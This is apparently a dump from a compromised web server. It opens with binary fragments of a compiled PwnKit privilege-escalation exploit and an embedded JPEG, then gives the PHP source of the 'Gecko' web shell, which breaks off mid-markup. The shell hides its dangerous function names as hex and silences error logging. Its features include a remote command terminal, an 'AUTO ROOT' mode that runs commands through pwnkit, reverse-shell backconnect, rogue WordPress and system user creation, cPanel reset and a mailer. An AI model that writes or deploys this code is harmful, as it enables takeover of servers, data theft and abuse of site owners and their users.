@call_gmon_startcrtstuff.c__CTOR_LIST____DTOR_LIST____JCR_LIST____do_global_dtors_auxcompleted.6352dtor_idx.6354frame_dummy__CTOR_END____FRAME_END____JCR_END____do_global_ctors_auxPwnKit.c_GLOBAL_OFFSET_TABLE___dso_handle__DTOR_END___DYNAMICunlink_cbsymlink@@GLIBC_2.2.5dup2@@GLIBC_2.2.5close@@GLIBC_2.2.5__gmon_start___Jv_RegisterClassesputs@@GLIBC_2.2.5rmrf_finiread@@GLIBC_2.2.5fopen@@GLIBC_2.2.5gconventrysetresuid@@GLIBC_2.2.5_exit@@GLIBC_2.2.5execvpe@@GLIBC_2.11creat@@GLIBC_2.2.5__cxa_finalize@@GLIBC_2.2.5pipe@@GLIBC_2.2.5strstr@@GLIBC_2.2.5fputs@@GLIBC_2.2.5readlink@@GLIBC_2.2.5execve@@GLIBC_2.2.5gconv_initsetresgid@@GLIBC_2.2.5memcpy@@GLIBC_2.2.5getenv@@GLIBC_2.2.5__errno_location@@GLIBC_2.2.5__bss_start_endfclose@@GLIBC_2.2.5remove@@GLIBC_2.2.5fork@@GLIBC_2.2.5service_interpperror@@GLIBC_2.2.5_edatanftw@@GLIBC_2.3.3mkdir@@GLIBC_2.2.5_initPK!�o<ww11/6841a565b48dc.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!8/GCONV_PATH=./.pkexecnuȯ��PK!� a���8/6zu8x4/ck1gr.phpnu�[���<?php
@set_time_limit(0);
@clearstatcache();
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
# function WAF

$Array = [
    '676574637764', # ge  tcw d => 0
    '676c6f62', # gl ob => 1
    '69735f646972', # is_d ir => 2
    '69735f66696c65', # is_ file => 3
    '69735f7772697461626c65', # is_wr iteable => 4
    '69735f7265616461626c65', # is_re adble => 5
    '66696c657065726d73', # fileper ms => 6
    '66696c65', # f ile => 7
    '7068705f756e616d65', # php_unam e => 8
    '6765745f63757272656e745f75736572', # getc urrentuser => 9
    '68746d6c7370656369616c6368617273', # html special => 10
    '66696c655f6765745f636f6e74656e7473', # fil e_get_contents => 11
    '6d6b646972', # mk dir => 12
    '746f756368', # to uch => 13
    '6368646972', # ch dir => 14
    '72656e616d65', # ren ame => 15
    '65786563', # exe c => 16
    '7061737374687275', # pas sthru => 17
    '73797374656d', # syst em => 18
    '7368656c6c5f65786563', # sh ell_exec => 19
    '706f70656e', # p open => 20
    '70636c6f7365', # pcl ose => 21
    '73747265616d5f6765745f636f6e74656e7473', # stre amgetcontents => 22
    '70726f635f6f70656e', # p roc_open => 23
    '756e6c696e6b', # un link => 24
    '726d646972', # rmd ir => 25
    '666f70656e', # fop en => 26
    '66636c6f7365', # fcl ose => 27
    '66696c655f7075745f636f6e74656e7473', # file_put_c ontents => 28
    '6d6f76655f75706c6f616465645f66696c65', # move_up loaded_file => 29
    '63686d6f64', # ch mod => 30
    '7379735f6765745f74656d705f646972', # temp _dir => 31
    '6261736536345F6465636F6465', # => bas e6 4 _decode => 32
    '6261736536345F656E636F6465', # => ba se6 4_ encode => 33
];
$hitung_array = count($Array);
for ($i = 0; $i < $hitung_array; $i++) {
    $fungsi[] = unx($Array[$i]);
}

if (isset($_GET['d'])) {
    $cdir = unx($_GET['d']);
    $fungsi[14]($cdir);
} else {
    $cdir = $fungsi[0]();
}

function file_ext($file)
{
    if (mime_content_type($file) == 'image/png' or mime_content_type($file) == 'image/jpeg') {
        return '<i class="fa-regular fa-image" style="color:#09e3a5"></i>';
    } else if (mime_content_type($file) == 'application/x-httpd-php' or mime_content_type($file) == 'text/html') {
        return '<i class="fa-solid fa-file-code" style="color:#0985e3"></i>';
    } else if (mime_content_type($file) == 'text/javascript') {
        return '<i class="fa-brands fa-square-js"></i>';
    } else if (mime_content_type($file) == 'application/zip' or mime_content_type($file) == 'application/x-7z-compressed') {
        return '<i class="fa-solid fa-file-zipper" style="color:#e39a09"></i>';
    } else if (mime_content_type($file) == 'text/plain') {
        return '<i class="fa-solid fa-file" style="color:#edf7f5"></i>';
    } else if (mime_content_type($file) == 'application/pdf') {
        return '<i class="fa-regular fa-file-pdf" style="color:#ba2b0f"></i>';
    } else {
        return '<i class="fa-regular fa-file-code" style="color:#0985e3"></i>';
    }
}

function download($file)
{

    if (file_exists($file)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename=' . basename($file));
        header('Content-Transfer-Encoding: binary');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($file));
        ob_clean();
        flush();
        readfile($file);
        exit;
    }
}

if ($_GET['don'] == true) {
    $FilesDon = download(unx($_GET['don']));
}
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <title>Gecko [ <?= $_SERVER['SERVER_NAME']; ?> ]</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/codemirror.min.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/theme/ayu-mirage.min.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/addon/hint/show-hint.min.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.6.0/css/all.min.css" integrity="sha512-Kc323vGBEqzTmouAECnVceyQqyqdsSiqLQISBL29aUW4U/M7pSPA/gEUZQqv1cwx4OnYxTxve5UMg5GT6L4JJg==" crossorigin="anonymous" referrerpolicy="no-referrer" />
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.1/jquery.min.js"></script>
    <script src="//cdn.jsdelivr.net/npm/sweetalert2@11"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/codemirror.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/mode/xml/xml.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/mode/javascript/javascript.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/addon/hint/show-hint.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/addon/hint/xml-hint.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/addon/hint/html-hint.min.js"></script>
    <style>
        @media screen and (min-width: 768px) and (max-width: 1200px) and (min-height:720px) {
            .code-editor-container {
                height: 85vh !important;
            }

            .CodeMirror {
                height: 72vh !important;
                font-size: xx-large !important;
                margin: 0 4px;
                border-radius: 4px;
            }

            .btn-modal-close {
                padding: 15px 40px !important;
            }
        }

        .btn-submit,
        a {
            text-decoration: none;
            color: #fff
        }

        a,
        body {
            color: #fff
        }

        .btn-submit,
        .form-file,
        tbody tr:nth-child(2n) {
            background-color: #22242d
        }

        .code-editor,
        .modal,
        .terminal {
            position: fixed;
            top: 0;
            left: 0;
            right: 0;
            bottom: 0
        }

        .code-editor-body textarea,
        .terminal-body textarea {
            width: 98.5%;
            height: 400px;
            font-size: smaller;
            resize: none
        }

        .menu-tools li,
        .terminal-body li,
        .terminal-head li {
            display: inline-block
        }

        body {
            background-color: #0e0f17;
            font-family: monospace
        }

        .btn-modal-close:hover,
        .btn-submit:hover,
        .menu-file-manager ul,
        .path-pwd,
        thead {
            background-color: #2e313d
        }

        ul {
            list-style: none
        }

        .menu-header li {
            padding: 5px 0
        }

        .menu-header ul li {
            font-weight: 700;
            font-style: italic
        }

        .btn-submit {
            padding: 7px 25px;
            border: 2px solid grey;
            border-radius: 4px
        }

        .form-file,
        a:hover {
            color: #c5c8d6
        }

        .btn-submit:hover {
            border: 2px solid #c5c8d6
        }

        .form-upload {
            margin: 10px 0
        }

        .form-file {
            border: 2px solid grey;
            padding: 7px 20px;
            border-radius: 4px
        }

        .menu-tools {
            width: 95%
        }

        .menu-tools li {
            margin: 15px 0
        }

        .menu-file-manager,
        .modal-mail-text {
            margin: 10px 40px
        }

        .menu-file-manager li {
            display: inline-block;
            margin: 15px 20px
        }

        .menu-file-manager li a::after {
            content: "";
            display: block;
            border-bottom: 1px solid #fff
        }

        .path-pwd {
            padding: 15px 0;
            margin: 5px 0
        }

        table {
            border-radius: 5px
        }

        thead {
            height: 35px
        }

        tbody tr td {
            padding: 10px 0
        }

        tbody tr td:nth-child(2),
        tbody tr td:nth-child(3),
        tbody tr td:nth-child(4) {
            text-align: center
        }

        ::-webkit-scrollbar {
            width: 16px
        }

        ::-webkit-scrollbar-track {
            background: #0e0f17
        }

        ::-webkit-scrollbar-thumb {
            background: #22242d;
            border: 2px solid #555;
            border-radius: 4px
        }

        ::-webkit-scrollbar-thumb:hover {
            background: #555
        }

        ::-webkit-file-upload-button {
            display: none
        }

        .modal {
            display: none;
            z-index: 2;
            width: 100%;
            background-color: rgba(0, 0, 0, .3)
        }

        .modal-container {
            animation-name: modal-pop-out;
            animation-duration: .7s;
            animation-fill-mode: both;
            margin: 10% auto auto;
            border-radius: 10px;
            width: 800px;
            background-color: #f4f4f9
        }

        @keyframes modal-pop-out {
            from {
                opacity: 0
            }

            to {
                opacity: 1
            }
        }

        .modal-header {
            color: #000;
            margin-left: 30px;
            padding: 10px
        }

        .modal-body,
        .terminal-head li {
            color: #000
        }

        .modal-create-input {
            width: 700px;
            padding: 10px 5px;
            background-color: #f4f4f9;
            margin: 0 5%;
            border: none;
            border-radius: 4px;
            box-shadow: 8px 8px 20px rgba(0, 0, 0, .2);
            border-bottom: 2px solid #0e0f17
        }

        .box-shadow {
            box-shadow: 8px 8px 8px rgba(0, 0, 0, .2)
        }

        .btn-modal-close {
            background-color: #22242d;
            color: #fff;
            border: none;
            border-radius: 4px;
            padding: 8px 35px
        }

        .badge-action-chmod:hover::after,
        .badge-action-download:hover::after,
        .badge-action-editor:hover::after {
            padding: 5px;
            border-radius: 5px;
            margin-left: 110px;
            background-color: #2e313d
        }

        .modal-btn-form {
            margin: 15px 0;
            padding: 10px;
            text-align: right
        }

        .file-size {
            color: orange
        }

        .badge-root::after {
            content: "root";
            display: block;
            position: absolute;
            width: 40px;
            text-align: center;
            margin-top: -30px;
            margin-left: 110px;
            border-radius: 4px;
            background-color: red
        }

        .badge-premium::after {
            content: "soon!";
            display: block;
            position: absolute;
            width: 40px;
            text-align: center;
            margin-top: -30px;
            margin-left: 140px;
            border-radius: 4px;
            background-color: red
        }

        .badge-action-chmod:hover::after,
        .badge-action-download:hover::after,
        .badge-action-editor:hover::after,
        .badge-linux::after,
        .badge-windows::after {
            width: 60px;
            text-align: center;
            margin-top: -30px;
            display: block;
            position: absolute
        }

        .badge-windows::after {
            background-color: orange;
            color: #000;
            margin-left: 100px;
            border-radius: 4px;
            content: "windows"
        }

        .badge-linux::after {
            margin-left: 100px;
            border-radius: 4px;
            background-color: #0047a3;
            content: "linux"
        }

        .badge-action-editor:hover::after {
            content: "Rename"
        }

        .badge-action-chmod:hover::after {
            content: "Chmod"
        }

        .badge-action-download:hover::after {
            content: "Download"
        }

        .CodeMirror {
            height: 70vh;
        }

        .code-editor,
        .terminal {
            background-color: rgba(0, 0, 0, .3);
            width: 100%
        }

        .code-editor-container {
            background-color: #f4f4f9;
            color: #000;
            width: 90%;
            height: 90vh;
            margin: 20px auto auto;
            border-radius: 10px
        }

        .code-editor-head {
            padding: 15px;
            font-weight: 700
        }

        .terminal-container {
            animation: .5s both modal-pop-out;
            width: 90%;
            background-color: #f4f4f9;
            margin: 25px auto auto;
            color: #000;
            border-radius: 4px
        }

        .bc-gecko,
        .mail,
        .terminal-input {
            background-color: #22242d;
            color: #fff
        }

        .terminal-head {
            padding: 8px
        }

        .terminal-head li a {
            color: #000;
            position: absolute;
            right: 0;
            margin-right: 110px;
            font-weight: 700;
            margin-top: -20px;
            font-size: 25px;
            padding: 1px 10px
        }

        .terminal-body textarea {
            margin: 4px;
            background-color: #22242d;
            color: #29db12;
            border-radius: 4px
        }

        .active {
            display: block
        }

        .terminal-input {
            width: 500px;
            padding: 6px;
            border: 1px solid #22242d;
            border-radius: 4px;
            margin: 5px 0
        }

        .bc-gecko {
            border: none;
            padding: 7px 10px;
            width: 712px;
            border-radius: 5px;
            margin: 15px 40px
        }

        .mail {
            width: 705px;
            resize: none;
            height: 100px
        }

        .logo-gecko {
            position: absolute;
            top: -90px;
            right: 40px;
            z-index: -1;
            bottom: 0
        }
    </style>
</head>

<body>
    <div class="menu-header">
        <ul>
            <li><i class="fa-solid fa-computer"></i>&nbsp;<?= $fungsi[8](); ?></li>
            <li><i class="fa-solid fa-server"></i>&nbsp;<?= $_SERVER["\x53\x45\x52\x56\x45\x52\x5f\x53\x4f\x46\x54\x57\x41\x52\x45"]; ?></li>
            <li><i class="fa-solid fa-network-wired"></i>&nbsp;: <?= gethostbyname($_SERVER["\x53\x45\x52\x56\x45\x52\x5f\x41\x44\x44\x52"]); ?> |&nbsp;: <?= $_SERVER["\x52\x45\x4d\x4f\x54\x45\x5f\x41\x44\x44\x52"]; ?></li>
            <li><i class="fa-solid fa-globe"></i>&nbsp;<?= s(); ?></li>
            <li><i class="fa-brands fa-php"></i>&nbsp;<?= PHP_VERSION; ?></li>
            <li><i class="fa-solid fa-user"></i>&nbsp;<?= $fungsi[9](); ?></li>
            <li><i class="fa-brands fa-github"></i>&nbsp;www.github.com/MadExploits</li>
            <li class="logo-gecko"><img width="400" height="400" src="//raw.githubusercontent.com/MadExploits/Gecko/main/gecko1.png" align="right"></li>
            <form action="" method="post" enctype='<?= "\x6d\x75\x6c\x74\x69\x70\x61\x72\x74\x2f\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61"; ?>'>
                <li class="form-upload"><input type="submit" value="Upload" name="gecko-up-submit" class="btn-submit">&nbsp;<input type="file" name="gecko-upload" class="form-file"></li>
            </form>
        </ul>
    </div>
    <div class="menu-tools">
        <ul>
            <li><a href="?d=<?= hx($fungsi[0]()) ?>&terminal=normal" class="btn-submit"><i class="fa-solid fa-terminal"></i> Terminal</a></li>
            <li><a href="?d=<?= hx($fungsi[0]()) ?>&terminal=root" class="btn-submit badge-root"><i class="fa-solid fa-user-lock"></i> AUTO ROOT</a></li>
            <li><a href="?d=<?= hx($fungsi[0]()) ?>&adminer" class="btn-submit"><i class="fa-solid fa-database"></i> Adminer</a></li>
            <li><a href="?d=<?= hx($fungsi[0]()) ?>&destroy" class="btn-submit"><i class="fa-solid fa-ghost"></i> Backdoor Destroyer</a></li>
            <li><a href="//www.exploit-db.com/search?q=Linux%20Kernel%20<?= suggest_exploit(); ?>" class="btn-submit"><i class="fa-solid fa-flask"></i> Linux Exploit</a></li>
            <li><a href="?d=<?= hx($fungsi[0]()) ?>&lockshell" class="btn-submit"><i class="fa-brands fa-linux"></i> Lock Shell</a></li>
            <li><a href="" class="btn-submit badge-linux" id="lock-file"><i class="fa-brands fa-linux"></i> Lock File</a></li>
            <li><a href="" class="btn-submit badge-root" id="root-user"><i class="fa-solid fa-user-plus"></i> Create User</a></li>
            <li><a href="" class="btn-submit" id="create-rdp"><i class="fa-solid fa-laptop-file"></i> CREATE RDP</a></li>
            <li><a href="?d=<?= hx($fungsi[0]()) ?>&mailer" class="btn-submit"><i class="fa-solid fa-envelope"></i> PHP Mailer</a></li>
            <li><a href="?d=<?= hx($fungsi[0]()) ?>&backconnect" class="btn-submit"><i class="fa-solid fa-user-secret"></i> BACKCONNECT</a></li>
            <li><a href="?d=<?= hx($fungsi[0]()) ?>&unlockshell" class="btn-submit"><i class="fa-solid fa-unlock-keyhole"></i> UNLOCK SHELL</a></li>
            <li><a href="//hashes.com/en/tools/hash_identifier" class="btn-submit"><i class="fa-solid fa-code"></i> HASH IDENTIFIER</a></li>
            <li><a href="?d=<?= hx($fungsi[0]()) ?>&cpanelreset" class="btn-submit"><i class="fa-brands fa-cpanel"></i> CPANEL RESET</a></li>
            <li><a href="?d=<?= hx($fungsi[0]()) ?>&createwp" class="btn-submit"><i class="fa-brands fa-wordpress-simple"></i> CREATE WP USER</a></li>
            <li><a href="//github.com/MadExploits/" class="btn-submit"><i class="fa-solid fa-link"></i>&nbsp;README</a></li>
        </ul>
    </div>

    <?php

    $file_manager = $fungsi[1]("{.[!.],}*", GLOB_BRACE);
    $get_cwd = $fungsi[0]();
    ?>

    <div class="menu-file-manager">
        <ul>
            <li><a href="" id="create_folder">+ Create Folder</a></li>
            <li><a href="" id="create_file">+ Create File</a></li>
        </ul>
        <div class="path-pwd">
            <?php
            $cwd = str_replace("\\", "/", $get_cwd); // untuk dir garis windows
            $pwd = explode("/", $cwd);
            if (stristr(PHP_OS, "WIN")) {
                windowsDriver();
            }
            foreach ($pwd as $id => $val) {
                if ($val == '' && $id == 0) {
                    echo '&nbsp;<a href="?d=' . hx('/') . '"><i class="fa-solid fa-folder-plus"></i>&nbsp;/ </a>';
                    continue;
                }
                if ($val == '') continue;
                echo '<a href="?d=';
                for ($i = 0; $i <= $id; $i++) {
                    echo hx($pwd[$i]);
                    if ($i != $id) echo hx("/");
                }
                echo '">' . $val . ' / ' . '</a>';
            }
            echo "<a style='font-weight:bold; color:orange;' href='?d=" . hx(__DIR__) . "'>[ HOME SHELL ]</a>&nbsp;";
            ?>
        </div>
        </ul>
        <table style="width: 100%;">
            <thead>
                <tr>
                    <th>Name</th>
                    <th>Size</th>
                    <th>Permission</th>
                    <th>Action</th>
                </tr>
            </thead>
            <form action="" method="post">
                <tbody>
                    <!-- Gecko Folder File Manager -->
                    <?php foreach ($file_manager as $_D) : ?>
                        <?php if ($fungsi[2]($_D)) : ?>
                            <tr>
                                <td><input type="checkbox" name="check[]" value="<?= $_D ?>">&nbsp;<i class="fa-solid fa-folder-open" style="color:orange;"></i>&nbsp;<a href="?d=<?= hx($fungsi[0]() . "/" . $_D); ?>"><?= namaPanjang($_D); ?></a></td>
                                <td>[ DIR ]</td>
                                <td>
                                    <?php if ($fungsi[4]($fungsi[0]() . '/' . $_D)) {
                                        echo '<font color="#00ff00">';
                                    } elseif (!$fungsi[5]($fungsi[0]() . '/' . $_D)) {
                                        echo '<font color="red">';
                                    }
                                    echo perms($fungsi[0]() . '/' . $_D);
                                    ?>
                                </td>
                                <!-- Action Folder Manager -->
                                <td><a href="?d=<?= hx($fungsi[0]()); ?>&re=<?= hx($_D) ?>" class="badge-action-editor"><i class="fa-solid fa-pen-to-square"></i></a>&nbsp;<a href="?d=<?= hx($fungsi[0]()); ?>&ch=<?= hx($_D) ?>" class="badge-action-chmod"><i class="fa-solid fa-user-pen"></i></a></td>
                            </tr>
                        <?php endif; ?>
                    <?php endforeach; ?>
                    <!-- Gecko Files Manager -->
                    <?php foreach ($file_manager as $_F) : ?>
                        <?php if ($fungsi[3]($_F)) : ?>
                            <tr>
                                <td><input type="checkbox" name="check[]" value="<?= $_F ?>">&nbsp;<?= file_ext($_F) ?>&nbsp;<a href="?d=<?= hx($fungsi[0]()); ?>&f=<?= hx($_F); ?>" class="gecko-files"><?= namaPanjang($_F); ?></a></td>
                                <td><?= formatSize(filesize($_F)); ?></td>
                                <td>
                                    <?php if (is_writable($fungsi[0]() . '/' . $_D)) {
                                        echo '<font color="#00ff00">';
                                    } elseif (!is_readable($fungsi[0]() . '/' . $_F)) {
                                        echo '<font color="red">';
                                    }
                                    echo perms($fungsi[0]() . '/' . $_F);
                                    ?>
                                </td>
                                <!-- Action File Manager -->
                                <td><a href="?d=<?= hx($fungsi[0]()); ?>&re=<?= hx($_F) ?>" class="badge-action-editor"><i class="fa-solid fa-pen-to-square"></i></a>&nbsp;<a href="?d=<?= hx($fungsi[0]()); ?>&ch=<?= hx($_F) ?>" class="badge-action-chmod"><i class="fa-solid fa-user-pen"></i></a>&nbsp;<a href="?d=<?= hx($fungsi[0]()); ?>&don=<?= hx($_F) ?>" class="badge-action-download"><i class="fa-solid fa-download"></i></a></td>
                            </tr>
                        <?php endif; ?>
                    <?php endforeach; ?>
                </tbody>
        </table>
        <br>
        <select name="gecko-select" class="btn-submit">
            <option value="delete">Delete</option>
            <option value="unzip">Unzip</option>
            <option value="zip">Zip</option><br>
        </select>
        <input type="submit" name="submit-action" value="Submit" class="btn-submit" style="padding: 8.3px 35px;">
        </form>

        <!-- Modal Pop Jquery Create Folder/File By ./MrMad -->
        <div class="modal">
            <div class="modal-container">
                <div class="modal-header">
                    <h3><b><i id="modal-title">${this.title}</i></b></h3>
                </div>
                <form action="" method="post">
                    <div class="modal-body">
                        <div id="modal-body-bc"></div>
                        <span id="modal-input"></span>
                        <div class="modal-btn-form">
                            <input type="submit" name="submit" value="Submit" class="btn-modal-close box-shadow">&nbsp;<button class="btn-modal-close box-shadow" id="close-modal">Close</button>
                        </div>
                </form>
            </div>
        </div>
    </div>
    </div>
    <?php if (isset($_GET['cpanelreset'])) : ?>
        <div class="modal active">
            <div class="modal-container">
                <div class="modal-header">
                    <h3><b><i id="modal-title">:: Cpanel Reset </i></b></h3>
                </div>
                <form action="" method="post">
                    <div class="modal-body">
                        <div class="modal-isi">
                            <form action="" method="post">
                                <input type="email" name="resetcp" class="modal-create-input" placeholder="Your email : example@mail.com">
                        </div>
                        <div class="modal-btn-form">
                            <input type="submit" name="submit" value="Submit" class="btn-modal-close box-shadow">&nbsp;<a class="btn-modal-close box-shadow" href="?d=<?= hx($fungsi[0]()) ?>">Close</a>
                        </div>
                </form>
            </div>
        </div>
    <?php endif; ?>
    <?php if (isset($_GET['createwp'])) : ?>
        <div class="modal active">
            <div class="modal-container">
                <div class="modal-header">
                    <h3><b><i id="modal-title">
                                <center>CREATE WORDPRESS ADMIN PASSWORD</center>
                            </i></b></h3>
                </div>
                <form action="" method="post">
                    <div class="modal-body">
                        <div class="modal-isi">
                            <form action="" method="post">
                                <input type="text" name="db_name" class="modal-create-input" placeholder="DB_NAME">
                                <br><br>
                                <input type="text" name="db_user" class="modal-create-input" placeholder="DB_USER">
                                <br><br>
                                <input type="text" name="db_password" class="modal-create-input" placeholder="DB_PASSWORD">
                                <br><br>
                                <input type="text" name="db_host" class="modal-create-input" placeholder="DB_HOST" value="127.0.0.1">
                                <br><br>
                                <hr size="2" color="black" style="margin:0px 30px; border-radius:3px;">
                                <br><br>
                                <input type="text" name="wp_user" class="modal-create-input" placeholder="Your Username">
                                <br><br>
                                <input type="text" name="wp_pass" class="modal-create-input" placeholder="Your Password">
                                <br><br>
                        </div>
                        <div class="modal-btn-form">
                            <input type="submit" name="submitwp" value="Submit" class="btn-modal-close box-shadow">&nbsp;<a class="btn-modal-close box-shadow" href="?d=<?= hx($fungsi[0]()) ?>">Close</a>
                        </div>
                </form>
            </div>
        </div>
    <?php endif; ?>
    <?php if (isset($_GET['backconnect'])) : ?>
        <div class="modal active">
            <div class="modal-container">
                <div class="modal-header">
                    <h3><b><i id="modal-title">:: Backconnect</i></b></h3>
                </div>
                <form action="" method="post">
                    <div class="modal-body">
                        <select class="bc-gecko box-shadow" name="gecko-bc">
                            <option value="-">Choose Backconnect</option>
                            <option value="perl">Perl</option>
                            <option value="python">Python</option>
                            <option value="ruby">Ruby</option>
                            <option value="bash">Bash</option>
                            <option value="php">php</option>
                            <option value="nc">nc</option>
                            <option value="sh">sh</option>
                            <option value="xterm">Xterm</option>
                            <option value="golang">Golang</option>
                        </select>
                        <input type="text" name="backconnect-host" class="modal-create-input" placeholder="127.0.0.1">
                        <br><br>
                        <input type="number" name="backconnect-port" class="modal-create-input" placeholder="1337">
                        <div class="modal-btn-form">
                            <input type="submit" name="submit-bc" value="Submit" class="btn-modal-close box-shadow">&nbsp;<a class="btn-modal-close box-shadow" href="?d=<?= hx($fungsi[0]()) ?>">Close</a>
                        </div>
                </form>
            </div>
        </div>
    <?php endif; ?>
    <?php if (isset($_GET['mailer'])) : ?>
        <div class="modal active">
            <div class="modal-container">
                <div class="modal-header">
                    <h3><b><i id="modal-title">:: PHP Mailer</i></b></h3>
                </div>
                <form action="" method="post">
                    <div class="modal-body">
                        <div class="modal-isi">
                            <form action="" method="post">
                                <div class="modal-mail-text">
                                    <textarea name="message-smtp" class="box-shadow mail" placeholder="&nbsp;Your Text here!"></textarea>
                                </div>
                                <br>
                                <input type="text" name="mailto-subject" class="modal-create-input" placeholder="Subject">
                                <br><br>
                                <input type="email" name="mail-from-smtp" class="modal-create-input" placeholder="from : example@mail.com">
                                <br><br>
                                <input type="email" name="mail-to-smtp" class="modal-create-input" placeholder="to : example@mail.com">
                        </div>
                        <div class="modal-btn-form">
                            <input type="submit" name="submit" value="Submit" class="btn-modal-close box-shadow">&nbsp;<a class="btn-modal-close box-shadow" href="?d=<?= hx($fungsi[0]()) ?>">Close</a>
                        </div>
                </form>
            </div>
        </div>
    <?php endif; ?>
    <?php if ($_GET['f']) : ?>
        <div class="code-editor">
            <div class="code-editor-container">
                <div class="code-editor-head">
                    <h3><i class="fa-solid fa-code"></i>&nbsp; Code Editor : <?= unx($_GET['f']); ?></h3>
                </div>
                <div class="code-editor-body">
                    <form action="" method="post">
                        <textarea name="code-editor" id="code" class="box-shadow" autofocus><?= $fungsi[10]($fungsi[11]($fungsi[0]() . "/" . unx($_GET['f']))); ?></textarea>
                        <div class="modal-btn-form">
                            <input type="submit" name="save-editor" value="Save" class="btn-modal-close">&nbsp;<button class="btn-modal-close" id="close-editor">Close</button>
                        </div>
                    </form>
                </div>
            </div>
        </div>
    <?php endif; ?>
    <?php if ($_GET['terminal'] == "normal") : ?>
        <div class="terminal">
            <div class="terminal-container">
                <div class="terminal-head">
                    <ul>
                        <li id="terminal-title"><b><i class="fa-solid fa-terminal"></i>&nbsp;TERMINAL</b></li>
                        <li><a href="" class="close-terminal"><i class="fa-solid fa-right-from-bracket"></i></a></li>
                    </ul>
                </div>
                <div class="terminal-body">
                    <textarea class="box-shadow" disabled><?php
                                                            if (isset($_POST['terminal'])) {
                                                                echo $fungsi[10](cmd($_POST['terminal-text'] . " 2>&1"));
                                                            }
                                                            ?></textarea>
                    <form action="" method="post">
                        <ul>
                            <li><input type="text" name="terminal-text" class="terminal-input box-shadow" placeholder="<?= $fungsi[9]() . "@" . $_SERVER["\x53\x45\x52\x56\x45\x52\x5f\x41\x44\x44\x52"]; ?>" autofocus></li>
                            <li><input type="submit" name="terminal" value=">" class="btn-modal-close"></li>
                        </ul>
                    </form>
                </div>
            </div>
        </div>
    <?php endif; ?>
    <?php if ($_GET['terminal'] == "root") : ?>
        <div class="terminal">
            <div class="terminal-container">
                <div class="terminal-head">
                    <ul>
                        <li id="terminal-title"><b><i class="fa-solid fa-terminal"></i>&nbsp;AUTO ROOT</b></li>
                        <li><a href="" class="close-terminal"><i class="fa-solid fa-right-from-bracket"></i></a></li>
                    </ul>
                </div>
                <div class="terminal-body">
                    <textarea name="" disabled><?php if ($fungsi[3]('.mad-root') && $fungsi[3]('pwnkit')) {
                                                    $response = $fungsi[11]('.mad-root');
                                                    $r_text = explode(" ", $response);
                                                    if ($r_text[0] == "uid=0(root)") {
                                                        if (isset($_POST['submit-root'])) {
                                                            echo cmd('./pwnkit "' . $_POST['root-terminal'] . '  2>&1"');
                                                        }
                                                    } else {
                                                        echo "This Device Is Not Vulnerable\n";
                                                        echo cmd('cat /etc/os-release') . "\n";
                                                        echo "Kernel Version : " . suggest_exploit() . "\n";
                                                    }
                                                } else {
                                                    $fungsi[24]('.mad-root');
                                                } ?></textarea>
                    <form action="" method="post">
                        <ul>
                            <li><input type="text" name="root-terminal" class="terminal-input" placeholder="<?= "root" . "@" . $_SERVER["\x53\x45\x52\x56\x45\x52\x5f\x41\x44\x44\x52"]; ?>" autofocus></li>
                            <li><input type="submit" name="submit-root" value=">" class="btn-modal-close"></li>
                        </ul>
                    </form>
                </div>
            </div>
        </div>
    <?php endif; ?>
    <?php if ($_GET['re'] == true) : ?>
        <div class="modal active">
            <div class="modal-container">
                <div class="modal-header">
                    <h3><b><i id="modal-title">Rename : <?= unx($_GET['re']) ?></i></b></h3>
                </div>
                <div class="modal-body">
                    <form action="" method="post">
                        <span id="modal-input"><input type="text" name="renameFile" class="modal-create-input" placeholder="Rename"></span>
                        <div class="modal-btn-form">
                            <input type="submit" name="submit" value="Submit" class="btn-modal-close box-shadow">&nbsp;<button class="btn-modal-close box-shadow close-btn-s">Close</button>
                        </div>
                    </form>
                </div>
            </div>
        </div>
        </div>
    <?php endif; ?>
    <?php if ($_GET['ch'] == true) : ?>
        <div class="modal active">
            <div class="modal-container">
                <div class="modal-header">
                    <h3><b><i id="modal-title">Change Permission : <?= unx($_GET['ch']) ?></i></b></h3>
                </div>
                <div class="modal-body">
                    <form action="" method="post">
                        <span id="modal-input"><input type="number" name="chFile" class="modal-create-input" placeholder="0775"></span>
                        <div class="modal-btn-form">
                            <input type="submit" name="submit" value="Submit" class="btn-modal-close box-shadow">&nbsp;<button class="btn-modal-close box-shadow close-btn-s">Close</button>
                        </div>
                    </form>
                </div>
